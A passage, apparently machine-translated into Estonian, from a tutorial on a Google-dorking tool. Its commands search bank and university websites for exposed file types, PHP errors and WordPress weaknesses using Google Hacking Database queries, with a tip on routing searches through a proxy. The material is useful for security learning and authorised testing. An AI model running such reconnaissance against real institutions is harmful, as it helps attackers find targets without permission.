    Joonis 9 – Otsige pankade veebisaitidelt "halbu" failitüüpe

    Tasub meeles pidada, et Google ei aktsepteeri päringuid, mis on pikemad kui 32 sõna.

    Kasutades käsku dorks google –d intext:”error|warning|notice|syntax” –f ülikool
    PHP-tõlgi vigu saab otsida haridusveebisaitidelt (vt joonis 10).


    Joonis 10 – PHP käitusaja vigade leidmine

    Mõnikord ei ole mugav kasutada ühte või kahte dokkide kategooriat.
    Näiteks kui on teada, et sait töötab Wordpressi mootoril, siis vajame WordPressi spetsiifilisi mooduleid. Sel juhul on mugav kasutada Google Hack Database otsingut. Käsk dorks ghdb –q wordpress –o wordpress_dorks.txt laadib kõik dorksid Wordpressist alla, nagu on näidatud joonisel 11:


    Joonis 11 – Wordpressiga seotud Dorksi otsimine

    Läheme uuesti pankade juurde ja proovime käsuga dorks google –D wordpress_dords.txt –f bank leida midagi Wordpressiga seonduvat huvitavat (vt joonis 12).


    Joonis 12 – Wordpressi haavatavuste otsimine

    Väärib märkimist, et Google Hack Database'i otsing ei aktsepteeri sõnu, mis on lühemad kui 4 tähemärki. Näiteks kui saidi CMS pole teada, aga keel on teada – PHP. Sel juhul saate vajaliku filtreerida käsitsi, kasutades toru ja süsteemiotsingu utiliiti dorks –c all | findstr /I php > php_dorks.txt (vt joonis 13):


    Joonis 13 – Otsige kõigist dorkidest, kus mainitakse PHP-d

    Haavatavuste või tundliku teabe otsimine otsingumootorist tuleks teha ainult siis, kui sellel saidil on märkimisväärne register. Näiteks kui saidil on indekseeritud 10–15 lehekülge, siis on rumal midagi sel viisil otsida. Indeksi suuruse kontrollimine on lihtne – lihtsalt sisestage Google'i otsinguribale "site:somesite.com". Ebapiisava indeksiga saidi näide on näidatud joonisel 14.


    Joonis 14 – Saidi indeksi suuruse kontrollimine

    Nüüd ebameeldivast... Aeg-ajalt võib Google nõuda captcha-d - te ei saa midagi teha - peate selle sisestama. Näiteks kategooria "Veateated" (90 dorksi) otsimisel ilmus captcha ainult üks kord.

    Tasub lisada, et phantomjs toetab ka puhverserveri kaudu töötamist nii http kui ka sokliidese kaudu. Puhverserveri režiimi lubamiseks peate failides dorks.bat või dorks.sh vastava rea ​​kommentaaride tühistama.

    Tööriist on saadaval lähtekoodina